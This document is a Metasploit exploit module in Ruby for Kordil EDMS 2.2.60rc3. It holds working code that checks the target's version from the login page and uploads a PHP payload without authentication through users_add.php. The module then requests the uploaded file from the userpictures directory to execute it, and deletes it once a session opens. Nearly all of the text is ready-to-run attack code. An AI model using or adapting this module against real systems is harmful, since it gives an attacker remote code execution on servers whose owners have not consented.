Kordil EDms 2.2.60rc3 - Arbitrary File Upload (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Kordil EDMS v2.2.60rc3 Unauthenticated Arbitrary File Upload Vulnerability",
			'Description'    => %q{
				This module exploits a vulnerability in Kordil EDMS v2.2.60rc3.
				This application has an upload feature that allows an unauthenticated user
				to upload arbitrary files to the '/kordil_edms/userpictures/' directory.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
				],
			'References'     =>
				[
					#['OSVDB', ''],
					#['EDB',   ''],
				],
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        =>
				[
					['Automatic Targeting', { 'auto' => true }]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Feb 22 2013",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The path to the web application', '/kordil_edms/']),
			], self.class)
	end

	def check

		base  = target_uri.path
		peer  = "#{rhost}:#{rport}"

		# retrieve software version from login page
		begin
			res = send_request_cgi({
				'method' => 'GET',
				'uri'    => normalize_uri(base, 'global_group_login.php')
			})
			if res and res.code == 200
				if res.body =~ /<center><font face="Arial" size="2">Kordil EDMS v2\.2\.60/
					return Exploit::CheckCode::Vulnerable
				elsif res.body =~ /Kordil EDMS v/
					return Exploit::CheckCode::Detected
				end
			end
			return Exploit::CheckCode::Safe
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("#{peer} - Connection failed")
		end
		return Exploit::CheckCode::Unknown

	end

	def upload(base, file)
		data = Rex::MIME::Message.new
		data.add_part(file,       'text/x-php', nil, "form-data; name=\"upload_fd31\"; filename=\"#{@fname}.php\"")
		data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd0"')
		data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd27"')
		data.add_part("n", nil, nil, 'form-data; name="act"')
		data_post = data.to_s
		data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

		res = send_request_cgi({
			'method'  => 'POST',
			'uri'     => normalize_uri(base, 'users_add.php'),
			'ctype'   => "multipart/form-data; boundary=#{data.bound}",
			'data'    => data_post
		})
		return res
	end

	def on_new_session(client)
		if client.type == "meterpreter"
			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
			client.fs.file.rm("#{@fname}.php")
		else
			client.shell_command_token("rm #{@fname}.php")
		end
	end


	def exploit

		base   = target_uri.path
		@peer  = "#{rhost}:#{rport}"
		@fname = rand_text_numeric(7)

		# upload PHP payload to userpictures/[fname].php
		print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
		php    = %Q|<?php #{payload.encoded} ?>|
		begin
			res = upload(base, php)
			if res and res.code == 302 and res.headers['Location'] =~ /\.\/user_account\.php\?/
				print_good("#{@peer} - File uploaded successfully")
			else
				fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
			end
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
		end

		# retrieve and execute PHP payload
		print_status("#{@peer} - Executing payload (userpictures/#{@fname}.php)")
		begin
			res = send_request_cgi({
				'method' => 'GET',
				'uri'    => normalize_uri(base, 'userpictures', "#{@fname}.php")
			})
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
		end

	end
end